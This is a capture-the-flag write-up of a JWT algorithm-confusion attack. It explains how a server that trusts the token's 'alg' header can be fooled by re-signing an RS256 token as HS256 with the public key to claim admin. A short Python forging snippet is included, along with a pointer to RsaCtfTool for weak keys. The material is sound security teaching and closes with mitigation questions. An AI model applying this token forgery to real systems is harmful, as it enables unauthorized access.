We have learnt about JWT, but what about the attack of it?
Can you compromise this?
Setup
# Unzip the file
unzip web4_so_dizzy.zip
cd web4_so_dizzy
# Start the flask server on your own host/VM
python -m main.py
# Now just use it the way you would a server :)
If CDDC practice machine is still up, here is the initial site:
There are 2 options, to check in via admin or guest, when we click on either, we see this:
So visiting http://47.128.156.184:10008/getcookie will supply the user with a cookie:
We see the algo used was "RS256" which is RSA with SHA256, means the key is asymmetric.
We have a public key from http://47.128.156.184:10008/api/jwt
{"public_key":"-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAiErXyh99IXoui0ua+QeP\nESzg3AhM4euZ1+/WCOHTsyeiY65veUrFUENBAUk8xVkv8dDqabPD9YybWCDE75Fn\nZyKtVOUOtfAJNGRbcUApQgMdbh3gnNeC9wELbw2AjN/wQMuKpbWBdXq7KZ6Fe3FG\ncd+65CVNcKKIam3Y7S6vDnq5TBgDGc/D1nQnOIdh9D7Z7ndGzqPSen3HoMhiKZlw\n27Vguq7n0c7JRqzazy+hLWigCd8cUpiu+1ZadnqGWtOD3ts+pbWrc5Q0mPpmEXST\nKU8CtSSzNPTMhZrt9mCo/UyX8p3wz+M4t+qVMuHmqbA7TGzGiToXyYBXuUrbj+3v\nLQIDAQAB\n-----END PUBLIC KEY-----"}
Public key:
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAiErXyh99IXoui0ua+QeP
ESzg3AhM4euZ1+/WCOHTsyeiY65veUrFUENBAUk8xVkv8dDqabPD9YybWCDE75Fn
ZyKtVOUOtfAJNGRbcUApQgMdbh3gnNeC9wELbw2AjN/wQMuKpbWBdXq7KZ6Fe3FG
cd+65CVNcKKIam3Y7S6vDnq5TBgDGc/D1nQnOIdh9D7Z7ndGzqPSen3HoMhiKZlw
27Vguq7n0c7JRqzazy+hLWigCd8cUpiu+1ZadnqGWtOD3ts+pbWrc5Q0mPpmEXST
KU8CtSSzNPTMhZrt9mCo/UyX8p3wz+M4t+qVMuHmqbA7TGzGiToXyYBXuUrbj+3v
LQIDAQAB
-----END PUBLIC KEY-----
Checking the source code they provided, this is how the server side validates token, so do you see what is wrong with it?
There is no validation!
If anything is modified on the algo section of the Headers, the jwt.decode will process it using that algorithm, this vulnerability is important to note since we can technically just modify this field in the JWT using HMAC, resign the token with the public key, send it over, the server uses the public key to decrypt the signature, and see our information sent anyways.
Indicated in the documentation of this library is the following:
"This decoding method is insecure. By default jwt.decode parses the alg header. This allows symmetric macs and asymmetric signatures. If both are allowed a signature bypass described in CVE-2016-10555 is possible."
For more information along with mitigation:
We also need to modify the user from user to admin, we can achieve this using simple python code as follows:
from authlib.jose import jwt
# Your public key
public_key = "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAiErXyh99IXoui0ua+QeP\nESzg3AhM4euZ1+/WCOHTsyeiY65veUrFUENBAUk8xVkv8dDqabPD9YybWCDE75Fn\nZyKtVOUOtfAJNGRbcUApQgMdbh3gnNeC9wELbw2AjN/wQMuKpbWBdXq7KZ6Fe3FG\ncd+65CVNcKKIam3Y7S6vDnq5TBgDGc/D1nQnOIdh9D7Z7ndGzqPSen3HoMhiKZlw\n27Vguq7n0c7JRqzazy+hLWigCd8cUpiu+1ZadnqGWtOD3ts+pbWrc5Q0mPpmEXST\nKU8CtSSzNPTMhZrt9mCo/UyX8p3wz+M4t+qVMuHmqbA7TGzGiToXyYBXuUrbj+3v\nLQIDAQAB\n-----END PUBLIC KEY-----"
def gentoken(key):
header = {"alg": "HS256"}
payload = {"user": "admin"}
token = jwt.encode(header, payload, key)
return token
token = gentoken(public_key_pseudo)
print(token)
If the situation was different, and the token was just using HMAC from the start, getting a hold of the symmetric key would mean game over for the server, since we would already be able to resign the JWT and send it to the server.
Small key RSA SHA256
If the public key was not as big as the current, the private key could possibly be recovered using the RsaCtfTool
Which you can use to resign the token after modification.
Questions to ponder:
If you were the developer, how would you have better secured the code, give a simple snippet to show how you would have done it.
What other forms of JWT implementations are there, and how are they better than just implementing JWT by itself?
Conclusion
It is important to use validation for all your methods with regards to authentication, and use of strong keys are recommended, and do not expose your keys easily.